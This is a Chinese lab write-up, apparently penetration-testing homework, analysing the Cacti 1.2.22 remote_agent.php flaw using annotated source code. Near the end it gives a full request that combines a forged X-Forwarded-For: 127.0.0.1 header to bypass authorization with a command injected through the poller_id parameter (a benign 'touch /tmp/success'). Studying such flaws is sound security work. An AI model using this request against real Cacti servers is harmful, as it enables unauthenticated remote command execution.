当前位置: 首页 > news >正文

渗透作业3

首先要把环境下好我是之前直接下的

在dockers容器里:

proxychains wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip

:1

下载完后再浏览器上打开,ip加8080端口号。

:2

打开网页后就输入用户名和密码(都是admin)然后下一步安装就行了

到这个界面后,

:3

创建一个新图形,选device-uptime然后创建就行了,创建完之后就可以退出了,我们是要以访客的状态去测试的。

:4

我们先看一下数据库怎么存储值

docker ps -a
docker exec -it f87(这里是是一条命令结果中1.2.22的mysql的前缀) /bin/bash
mysql -uroot -p
然后输入密码
root 

mysql> show databases;

:5

然后我们进到cacti的数据库里

mysql> use cacti

:6

这里数据库的表实在太多了

mysql> show tables;

:7

他这里说到了我们要查看的表是remote—agent.php

:9

这里定义了一个鉴权函数

:10

这段代码的核心逻辑是权限校验,具体解析如下: - remote_client_authorized() 是一个函数,推

测其作用是检查当前访问服务的远程客户端(如用户、设备等)是否已获得授权。

!remote_client_authorized() 表示对上述检查结果取反,即“如果远程客户端未被授权”。 - 若

满足“未授权”条件,则执行:

print 'FATAL: You are not authorized to use this service' :输出错误信息,提示“致

命错误:你未被授权使用此服务”。

exit :终止程序运行,阻止未授权客户端继续访问服务。 整体来看,这段代码是服务端常见的安

全校验逻辑,用于拦截未授权访问,保护服务的安全性。

鉴权之后有一下操作我们来看一下

:11

// 1. 函数定义与返回值声明 
​
// 定义一个名为 remote_client_authorized 的函数,返回值类型为 bool(布尔值,true 或 
​
false) 
​
function remote_client_authorized(): bool { 
​
// 2. 引入全局变量 
​
// 引入全局变量 $poller_db_cnn_id ,后续可能用它操作数据库连接 
​
global $poller_db_cnn_id; 
​
// 3. 命令行运行限制注释 
​
// 注释:不允许从命令行运行(提醒代码设计者/维护者该逻辑的运行场景约束) 
​
/* don't allow to run from the command line */ 
​
// 4. 获取客户端地址 
​
// 调用 get_client_addr 函数获取客户端的 IP 地址或主机地址,结果存在 $client_addr 
​
$client_addr = get_client_addr(); 
​
// 5. 校验客户端地址获取结果 
​
// 如果获取客户端地址失败(返回 false ),函数直接返回 false ,授权不通过 
​
if ($client_addr === false) { 
​
return false; 
​
}
​
// 6. 校验 IP 格式合法性 
​
// 使用 filter_var 函数,配合 FILTER_VALIDATE_IP 过滤器,检查 $client_addr 是否是 
​
合法 IP 。 
​
// 如果不是合法 IP ,记录错误日志(cacti_log 是 Cacti 框架里记录日志的函数 ),然后返回 
​
false ,授权不通过 
​
if (!filter_var(value: $client_addr, filter: FILTER_VALIDATE_IP)) {cacti_log(string: 'ERROR: Invalid remote agent client IP Address. 
​
Exiting');
​
return false; 
​
}
​
// 7. 通过 IP 反向解析主机名 
​
// 调用 gethostbyaddr 函数,尝试通过客户端 IP($client_addr )反向解析出主机名,结果 
​
存在 $client_name 
​
$client_name = gethostbyaddr(ip: $client_addr); 
​
// 8. 校验主机名解析结果 
​
// 如果解析出来的主机名($client_name )和原始 IP($client_addr )一样,说明反向解析失 
​
败(没能得到有意义的主机名 ) 
​
if ($client_name == $client_addr) { 
​
// 记录中等 verbosity 级别的日志(告知无法解析主机名情况 ),output: false 表示不 
​
直接输出到前端展示,environ: 'WEBU' 说明是 Web 环境相关日志 
​
cacti_log(string: 'NOTE: Unable to resolve hostname from address ' . 
​
$client_addr,
​
output: false, environ: 'WEBU', level: POLLER_VERBOSITY_MEDIUM); 
​
} else { 
​
// 如果解析成功(得到了不同于 IP 的主机名字符串 ),调用 
​
remote_agent_strip_domain 函数去除主机名里的域名部分(比如把 example.com 处理成 example 
​
) 
​
$client_name = remote_agent_strip_domain(host: $client_name); 
​
}
​
// 9. 查询 poller 表数据 
​
// 调用 db_fetch_assoc 函数(Cacti 里操作数据库查询,返回关联数组结果的函数 ),查询 
​
poller 表的所有数据(SELECT * FROM poller ), 
​
// log: true 表示查询过程若有问题会记录日志,db_conn: $poller_db_cnn_id 指定用之前引 
​
入的全局数据库连接去执行查询,结果存在 $pollers 
​
$pollers = db_fetch_assoc(sql: 'SELECT * FROM poller', log: true, db_conn: 
​
$poller_db_cnn_id); 
​
// 10. 遍历 poller 表数据进行授权校验 
​
// 如果查询结果非空(cacti_sizeof 是 Cacti 里用于计算变量“有效大小”的函数,这里判断 
​
$pollers 里有数据 ) 
​
if (cacti_sizeof(object: $pollers)) { 
​
// 遍历 $pollers 里的每条记录,每条记录存在 $poller 变量里 
​
foreach ($pollers as $poller) { 
​
// 11. 校验主机名(去除域名后)匹配 
​
// 把 poller 表当前记录里的 hostname 字段值,也去除域名,然后和之前处理好的客 
​
户端主机名($client_name )对比。 
​
// 如果匹配,说明该客户端在授权列表里,返回 true ,授权通过 
​
if (remote_agent_strip_domain(host: $poller['hostname']) == 
​
$client_name) { 
​
return true; 
​
// 12. 校验 IP 匹配 
​
// 如果主机名没匹配上,再直接拿 poller 表当前记录的 hostname 字段值,和客户端 
​
IP($client_addr )对比。匹配则返回 true ,授权通过 
​
} elseif ($poller['hostname'] == $client_addr) { 
​
return true; 
​
} 
​
} 
​
}
​
// 13. 若以上校验都没通过,默认返回 false(代表授权不通过 ),不过代码里这里没显式写 
​
return false; ,// 因为 PHP 函数若没遇到 return 语句,执行完会隐式返回 null ,但函数声明返回 bool ,实 
​
际运行可能有类型兼容问题,规范写法应该在最后加 return false; 
​
}

但是这里似乎不是获取ip的地方我们重新回到57行看一下,

这里可以看到,鉴权结束后是走到action这里的

get传递的参数,用户可控,他就一定会走到case polldata这个开关语句,然后又走到了poll_for_data

这里

// 1. 设置默认动作 
​
// 调用 set_default_action 函数,作用一般是初始化或设置“默认要执行的动作”,具体逻辑看函数实 
​
现,这里先执行它做前置准备 
​
set_default_action(); 
​
// 2. 基于请求参数做 switch 分支判断 
​
// get_request_var // get_request_var 是自定义函数(常见于框架或工具类,用于从请求里获取 
​
指定 name 的变量值,这里获取名为 'action' 的参数值 ), 
​
// 拿到值后进入 switch 分支判断,根据不同 action 值执行不同逻辑 
​
switch (get_request_var(name: 'action')) { 
​
// 3. case 'polldata' 分支 
​
case 'polldata': 
​
// 3.1 注释说明 
​
// 注释:仅让实时轮询(realtime polling)运行较短时间,给开发者提示这段逻辑的意图 
​
// Only let realtime polling run for a short time 
​
// 3.2 设置最大执行时间 
​
// ini_set 是 PHP 原生函数,用于设置 php.ini 里的配置项,这里设置 
​
'max_execution_time'(脚本最大执行时间,单位秒 ), 
​
// 值从 read_config_option 函数获取(推测是从配置系统里读 'script_timeout' 对应 
​
配置,比如配置文件、数据库配置项 ), 
​
// 作用是限制当前“polldata”动作的执行时长,避免长时间运行占资源ini_set(option: 'max_execution_time', 
​
value: read_config_option(config_name: 'script_timeout')); 
​
// 3.3 调试日志输出(开始) 
​
// debug 是自定义函数(Cacti 等系统常用调试输出函数 ),输出日志“Start: Poling 
​
Data for Realtime”,标记实时轮询数据采集开始 
​
debug(message: 'Start: Poling Data for Realtime'); 
​
// 3.4 执行轮询数据采集逻辑 
​
// 调用 poll_for_data 函数,实际去执行“轮询数据”的核心逻辑,比如从设备获取监控数据 
​
等操作 
​
poll_for_data(); 
​
// 3.5 调试日志输出(结束) 
​
// 输出日志“End: Poling Data for Realtime”,标记实时轮询数据采集结束 
​
debug(message: 'End: Poling Data for Realtime'); 
​
}

看一下这个poll_for_data()

function poll_for_data() { 
​
// [1] 引入全局配置变量(包含系统路径等设置) 
​
global $config; 
​
// [2] 获取请求参数 
​
$local_data_ids = get_nfilter_request_var('local_data_ids'); // 需采集的数据ID 
​
数组(未过滤) 
​
$host_id = get_filter_request_var('host_id'); // 主机ID(数字类 
​
型) 
​
$poller_id = get_nfilter_request_var('poller_id'); // 采集器ID(未过 
​
滤) 
​
$return = array(); // 初始化返回结果 
​
数组 
​
$i = 0; // 结果索引计数器 
​
// [3] 检查是否存在需采集的数据ID 
​
if (cacti_sizeof($local_data_ids)) { 
​
// [4] 遍历每个数据ID 
​
foreach($local_data_ids as $local_data_id) { 
​
// [5] 验证数据ID为合法数字 
​
input_validate_input_number($local_data_id); 
​
// [6] 查询数据库获取采集项 
​
$items = db_fetch_assoc_prepared('SELECT * 
​
FROM poller_item 
​
WHERE host_id = ? 
​
AND local_data_id = ?', 
​
array($host_id, $local_data_id)); 
​
// [7] 统计需要PHP脚本服务器执行的采集项数量 
​
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*) 
​
FROM poller_item 
​
WHERE host_id = ? 
​
AND local_data_id = ? 
​
AND action = 2',array($host_id, $local_data_id)); 
​
// [8] 处理存在的采集项 
​
if (cacti_sizeof($items)) { 
​
foreach($items as $item) { 
​
// [9] 根据采集类型执行不同操作 
​
switch ($item['action']) { 
​
// [10] SNMP 采集处理 
​
case POLLER_ACTION_SNMP: /* snmp */ 
​
// 检查SNMP配置有效性 
​
if (($item['snmp_version'] == 0) || 
​
(($item['snmp_community'] == '') && ($item['snmp_version'] != 3))) { 
​
$output = 'U'; // 无效配置返回U(Unavailable) 
​
} else { 
​
// 查询主机参数 
​
$host = db_fetch_row_prepared('SELECT ping_retries, 
​
max_oids FROM host WHERE hostname = ?', array($item['hostname'])); 
​
// 建立SNMP会话 
​
$session = cacti_snmp_session( 
​
$item['hostname'], $item['snmp_community'], 
​
$item['snmp_version'], 
​
$item['snmp_username'], $item['snmp_password'], 
​
$item['snmp_auth_protocol'], 
​
$item['snmp_priv_passphrase'], 
​
$item['snmp_priv_protocol'], $item['snmp_context'], 
​
$item['snmp_engine_id'], $item['snmp_port'], 
​
$item['snmp_timeout'], 
​
$host['ping_retries'], $host['max_oids'] 
​
);
​
if ($session === false) { 
​
$output = 'U'; // 会话建立失败 
​
} else { 
​
// 获取SNMP数据并关闭会话 
​
$output = cacti_snmp_session_get($session, 
​
$item['arg1']); 
​
$session->close(); 
​
}
​
// 验证结果合法性 
​
if (prepare_validate_result($output) === false) { 
​
$output = 'U'; // 非法数据标记为U 
​
} 
​
}
​
// 存储结果 
​
$return[$i]['value'] = $output; 
​
$return[$i]['rrd_name'] = $item['rrd_name']; 
​
$return[$i]['local_data_id'] = $local_data_id; 
​
break; 
​
// [11] 外部脚本采集处理 
​
case POLLER_ACTION_SCRIPT: /* script (popen) */ 
​
// 执行系统命令并清理输出 
​
$output = trim(exec_poll($item['arg1'])); 
​
// 验证结果if (prepare_validate_result($output) === false) { 
​
$output = 'U'; // 非法结果标记为U 
​
}
​
// 存储结果 
​
$return[$i]['value'] = $output; 
​
$return[$i]['rrd_name'] = $item['rrd_name']; 
​
$return[$i]['local_data_id'] = $local_data_id; 
​
break; 
​
// [12] PHP脚本服务器采集处理 
​
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) 
​
*/ 
​
// 初始化管道配置 
​
$cactides = array( 
​
0 => array('pipe', 'r'), // 子进程读端 
​
1 => array('pipe', 'w'), // 子进程写端 
​
2 => array('pipe', 'w') // 错误输出 
​
);
​
$using_proc_function = false; 
​
// [13] 尝试启动PHP脚本服务器 
​
if (function_exists('proc_open')) { 
​
$cactiphp = proc_open( 
​
read_config_option('path_php_binary') . ' -q ' . 
​
$config['base_path'] . '/script_server.php 
​
realtime ' . $poller_id, 
​
$cactides, 
​
$pipes 
​
);
​
$output = fgets($pipes[1], 1024); // 读取初始输出 
​
$using_proc_function = true; 
​
}
​
// [14] 通过脚本服务器执行采集 
​
if ($using_proc_function == true) { 
​
// 执行PHP脚本采集 
​
$output = trim(str_replace("\n", '', exec_poll_php( 
​
$item['arg1'], 
​
$using_proc_function, 
​
$pipes, 
​
$cactiphp 
​
))); 
​
// 验证结果 
​
if (prepare_validate_result($output) === false) { 
​
$output = 'U'; // 非法结果标记为U 
​
} 
​
} else { 
​
$output = 'U'; // 无proc_open支持时标记为U 
​
}
​
// 存储结果 
​
$return[$i]['value'] = $output; 
​
$return[$i]['rrd_name'] = $item['rrd_name']; 
​
$return[$i]['local_data_id'] = $local_data_id; 
​
// [15] 关闭脚本服务器(当需要时)if (($using_proc_function == true) && 
​
($script_server_calls > 0)) {
​
// 发送退出命令 
​
fwrite($pipes[0], "quit\r\n"); 
​
// 关闭所有管道 
​
fclose($pipes[0]); 
​
fclose($pipes[1]); 
​
fclose($pipes[2]); 
​
// 关闭进程 
​
$return_value = proc_close($cactiphp); 
​
}
​
break; 
​
}
​
// [16] 递增结果索引 
​
$i++; 
​
} 
​
} 
​
} 
​
}
​
// [17] 以JSON格式输出采集结果 
​
print json_encode($return); 
​
}

所以这里我们要查poller-item能看到一共有六个

mysql> select * from poller_item \G

以上的action的值都是1,但是我们根据上面的poll_for_data(),得出我们需要的action是2

:8

这里查询local-data-id肯定要是6,因为只有是6,action才能是2,这里host-id不用管他

:13

是在$items这里查了六个值,然后再if里面做了个循环

把每一条数据都拿出来,就是上面的那个1 ,2,3那个数据,把里面的action取出来,里面只有6是2其他

都是1,当action=0的时候就是走下面这个

:14

等于1的时候走

:15

等于2的时候走,很明显我们的action要等于2,这样才能执行下面的步骤

:16

​
​
// [1] SNMP 采集处理 
​
case POLLER_ACTION_SNMP: /* snmp */ 
​
// 检查SNMP配置是否有效:版本0无效 或 (社区字符串为空且不是SNMPv3) 
​
if (($item['snmp_version'] == 0) || (($item['snmp_community'] == '') && 
​
($item['snmp_version'] != 3)) { 
​
$output = 'U'; // 无效配置直接标记为不可用 
​
} else { 
​
// 查询主机相关参数(重试次数和最大OID数) 
​
$host = db_fetch_row_prepared('SELECT ping_retries, max_oids FROM host 
​
WHERE hostname = ?', array($item['hostname'])); 
​
// 建立SNMP会话(包含所有必要的认证参数) 
​
$session = cacti_snmp_session( 
​
$item['hostname'], 
​
$item['snmp_community'], 
​
$item['snmp_version'], 
​
$item['snmp_username'], 
​
$item['snmp_password'], 
​
$item['snmp_auth_protocol'], 
​
$item['snmp_priv_passphrase'], 
​
$item['snmp_priv_protocol'], 
​
$item['snmp_context'], 
​
$item['snmp_engine_id'], 
​
$item['snmp_port'], 
​
$item['snmp_timeout'], 
​
$host['ping_retries'], 
​
$host['max_oids'] 
​
);
​
if ($session === false) { 
​
$output = 'U'; // 会话建立失败 
​
} else { 
​
// 获取指定OID的数据($item['arg1']包含OID) 
​
$output = cacti_snmp_session_get($session, $item['arg1']); 
​
$session->close(); // 关闭会话释放资源 
​
}
​
// 验证采集结果是否有效 
​
if (prepare_validate_result($output) === false) { 
​
// 记录输出长度(调试用,实际未使用) 
​
$strout = (strlen($output) > 20) ? 20 : strlen($output); 
​
$output = 'U'; // 无效结果标记为不可用 
​
} 
​
}// 存储采集结果 
​
$return[$i]['value'] = $output; 
​
$return[$i]['rrd_name'] = $item['rrd_name']; // 对应的RRD文件名 
​
$return[$i]['local_data_id'] = $local_data_id; // 数据ID 
​
break; 
​
// [2] 外部脚本采集处理 
​
case POLLER_ACTION_SCRIPT: /* script (popen) */ 
​
// 执行外部脚本命令($item['arg1']包含完整命令) 
​
$output = trim(exec_poll($item['arg1'])); 
​
// 验证采集结果 
​
if (prepare_validate_result($output) === false) { 
​
// 记录输出长度(调试用) 
​
$strout = (strlen($output) > 20) ? 20 : strlen($output); 
​
$output = 'U'; // 无效结果标记为不可用 
​
}
​
// 存储采集结果 
​
$return[$i]['value'] = $output; 
​
$return[$i]['rrd_name'] = $item['rrd_name']; 
​
$return[$i]['local_data_id'] = $local_data_id; 
​
break; 
​
// [3] PHP脚本服务器采集处理 
​
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */ 
​
// 定义进程间通信管道 
​
$cactides = array( 
​
0 => array('pipe', 'r'), // 标准输入(子进程读取) 
​
1 => array('pipe', 'w'), // 标准输出(子进程写入) 
​
2 => array('pipe', 'w') // 标准错误(子进程写入) 
​
);
​
// 后续代码会继续处理...

查询6的时候步骤和我们是不一样的,他是直接查询

select * from poller_item where local_data_id=6 and host_id=1 \G

这个pyload这里提交数组

:17

是因为这里要做一个循环,正常应该是提交[1,2,3,4,5,6],他只提交了一个

:18

这里好像有个过滤

:19

这里判断id,我们的id是int,他肯定是返回true

:20

两个都没有过滤,上面因为我们传的是标准的数字所以过滤不掉,这个只是接一下返回类型

:21

我们这里来测试一下,还是在登录页面抓个包

:22

修改一下包加入payload然后发送,去看有没有成功

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=touch+/tmp/success HTTP/1.1

:23

我们提交了之后是走到这里的

;24

这里获取的值我们需要加一个参数X-Forwarded-For:127.0.0.1

伪造客户端 IP 为本地回环地址(伪装成 “本地请求”,可能绕过基于 IP 的访问控制)。

:26

function remote_client_authorized() { 
​
// [1] 引入数据库连接标识 
​
global $poller_db_cnn_id; 
​
// [2] 禁止命令行执行 
​
/* don't allow to run from the command line */ 
​
$client_addr = get_client_addr(); 
​
if ($client_addr === false) { 
​
return false; // 无法获取客户端地址 
​
}
​
// [3] 验证IP地址格式 
​
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) { 
​
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting'); 
​
return false; // 无效IP地址 
​
}
​
// [4] 获取客户端主机名$client_name = gethostbyaddr($client_addr); 
​
// [5] 处理主机名解析 
​
if ($client_name == $client_addr) { 
​
// 解析失败(返回的还是IP) 
​
cacti_log('NOTE: Unable to resolve hostname from address ' . 
​
$client_addr, 
​
false, 'WEBUI', POLLER_VERBOSITY_MEDIUM); 
​
} else { 
​
// 去除域名部分(保留主机名) 
​
$client_name = remote_agent_strip_domain($client_name); 
​
}
​
// [6] 获取所有采集器配置 
​
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); 
​
// [7] 验证客户端是否授权 
​
if (cacti_sizeof($pollers)) { 
​
foreach($pollers as $poller) { 
​
// [7.1] 比较主机名(不含域名) 
​
if (remote_agent_strip_domain($poller['hostname']) == $client_name) 
​
{ 
​
return true; // 主机名匹配 
​
}
​
// [7.2] 直接比较IP地址 
​
elseif ($poller['hostname'] == $client_addr) { 
​
return true; // IP地址匹配 
​
} 
​
} 
​
}
​
// [8] 记录未授权访问 
​
cacti_log("Unauthorized remote agent access attempt from $client_name 
​
($client_addr)"); 
​
// [9] 拒绝访问 
​
return false; 
​
}

这里最关键的漏洞就是get_client_addr()这里

:27

function get_client_addr($client_addr = false) { 
​
// 定义一个包含多种可能存放客户端IP地址的HTTP头信息的数组 
​
$http_addr_headers = array( 
​
'X-Forwarded-For','X-Client-IP', 
​
'X-Real-IP', 
​
'X-ProxyUser-Ip', 
​
'CF-Connecting-IP', 
​
'True-Client-IP', 
​
'HTTP_X_FORWARDED', 
​
'HTTP_X_FORWARDED_FOR', 
​
'HTTP_X_CLUSTER_CLIENT_IP', 
​
'HTTP_FORWARDED_FOR', 
​
'HTTP_FORWARDED', 
​
'HTTP_CLIENT_IP', 
​
'REMOTE_ADDR', 
​
);
​
// 初始化客户端IP地址变量为false 
​
$client_addr = false; 
​
// 遍历HTTP头信息数组,尝试从每个头中获取客户端IP 
​
foreach ($http_addr_headers as $header) { 
​
// 检查当前头是否存在于$_SERVER超级全局变量中且不为空 
​
if (!empty($_SERVER[$header])) { 
​
// 如果头存在且不为空,将其值按逗号分割(处理多个IP的情况) 
​
$header_ips = explode(',', $_SERVER[$header]); 
​
// 遍历分割后的每个IP地址 
​
foreach ($header_ips as $header_ip) { 
​
// 检查当前IP是否不为空 
​
if (!empty($header_ip)) { 
​
// 使用filter_var函数验证当前IP是否为有效IP格式 
​
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) { 
​
// 如果IP无效,记录错误日志 
​
cacti_log('ERROR: Invalid remote client IP Address found 
​
in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG); 
​
} else { 
​
// 如果IP有效,将其赋值给$client_addr变量 
​
$client_addr = $header_ip; 
​
// 记录调试日志,表明使用了哪个头中的哪个IP 
​
cacti_log('DEBUG: Using remote client IP Address found 
​
in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', 
​
false, 'AUTH', POLLER_VERBOSITY_DEBUG); 
​
// 跳出两层循环(结束整个IP查找过程) 
​
break 2; 
​
} 
​
} 
​
} 
​
} 
​
}
​
// 返回找到的客户端IP地址(如果没有找到则返回false) 
​
return $client_addr; 
​
}
​
知道他是怎么运行之后,我们再查看外面的代码
​
function remote_client_authorized() { 
​
// 声明使用全局变量$poller_db_cnn_id,这是用于连接轮询器数据库的ID 
​
global $poller_db_cnn_id;/* 不允许从命令行运行 */ 
​
// 调用get_client_addr函数获取客户端IP地址 
​
$client_addr = get_client_addr(); 
​
// 如果无法获取客户端IP地址,记录日志并返回false 
​
if ($client_addr === false) { 
​
return false; 
​
}
​
// 再次验证获取的客户端IP是否为有效格式 
​
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) { 
​
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting'); 
​
return false; 
​
}
​
// 通过IP地址反向解析获取主机名 
​
$client_name = gethostbyaddr($client_addr); 
​
// 如果反向解析失败(返回的主机名与IP相同) 
​
if ($client_name == $client_addr) { 
​
// 记录中等详细级别的日志,提示无法解析主机名 
​
cacti_log('NOTE: Unable to resolve hostname from address ' . 
​
$client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM); 
​
} else { 
​
// 如果解析成功,调用remote_agent_strip_domain函数去除主机名中的域名部分 
​
$client_name = remote_agent_strip_domain($client_name); 
​
}
​
// 从数据库中查询所有轮询器记录 
​
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); 
​
// 检查是否有轮询器记录 
​
if (cacti_sizeof($pollers)) { 
​
// 遍历所有轮询器记录 
​
foreach($pollers as $poller) { 
​
// 比较去除域名后的轮询器主机名与客户端主机名是否匹配 
​
if (remote_agent_strip_domain($poller['hostname']) == $client_name) 
​
{ 
​
return true; // 匹配则授权通过 
​
}
​
// 直接比较轮询器主机名与客户端IP是否匹配(处理IP直接配置的情况) 
​
elseif ($poller['hostname'] == $client_addr) { 
​
return true; // 匹配则授权通过 
​
} 
​
} 
​
}
​
// 如果所有轮询器记录都不匹配,记录未授权访问日志 
​
cacti_log("Unauthorized remote agent access attempt from $client_name 
​
($client_addr)"); 
​
// 返回false表示未授权 
​
return false; 
​
}

这里的$client_name代表的就是localhost,和$poller里面的hostname是相同的所以直接返回true,这

里能返回ture,证明鉴权就绕过了

:28

上面的鉴权绕过后,就走到action了,他是get请求传上来的所以用户可控

所以我们的payload就需要action=polldata,当action等于polldata的时候就走到下面poll_for_data这

个函数了,然后这个上面解释了。

:29

http://www.lryc.cn/news/607054.html

相关文章:

  • 基于C#和NModbus4库实现的Modbus RTU串口通信
  • ansible简单playbook剧本例子2
  • 团购商城 app 系统架构分析
  • 第三篇:几何体入门:内置几何体全解析
  • 无人机气象监测设备:穿梭云端的 “气象观察员”
  • 丝杆支撑座在电子装配中的关键作用
  • NLP 和 LLM 区别、对比 和关系
  • 深入剖析Spring IOC容器——原理、源码与实践全解析
  • mac系统自带终端崩溃修复
  • PAT 1022 Digital Library
  • 关于“PromptPilot” 之5 -标签词与标签动作的语言模型九宫格
  • HCLP--ospf综合实验
  • 神经网络----卷积层(Conv2D)
  • GitPython07-源码解读
  • 低通滤波器的原理以及作用
  • ctfshow_web签到题
  • 算法49. 字母异位词分组
  • 第11届蓝桥杯Python青少组中/高级组选拔赛(STEMA)2020年5月30日真题
  • Pydantic模块学习
  • gis qgis验证 tif地图文件
  • 10年24倍的etf轮动策略复现,回测+实盘一体解决方案:backtrader的模块化策略模板,附python代码
  • 机器学习第二课之逻辑回归(二)LogisticRegression
  • Spring事件监听设计原理全面深入指南
  • 3D 管道如何实现流动的?
  • Java试题-选择题(3)
  • python简单操作达梦数据库
  • VUE2 学习笔记15 代理
  • Leetcode 10 java
  • Go语言中的盲点:竞态检测和互斥锁的错觉
  • 常见的网络攻击以及预防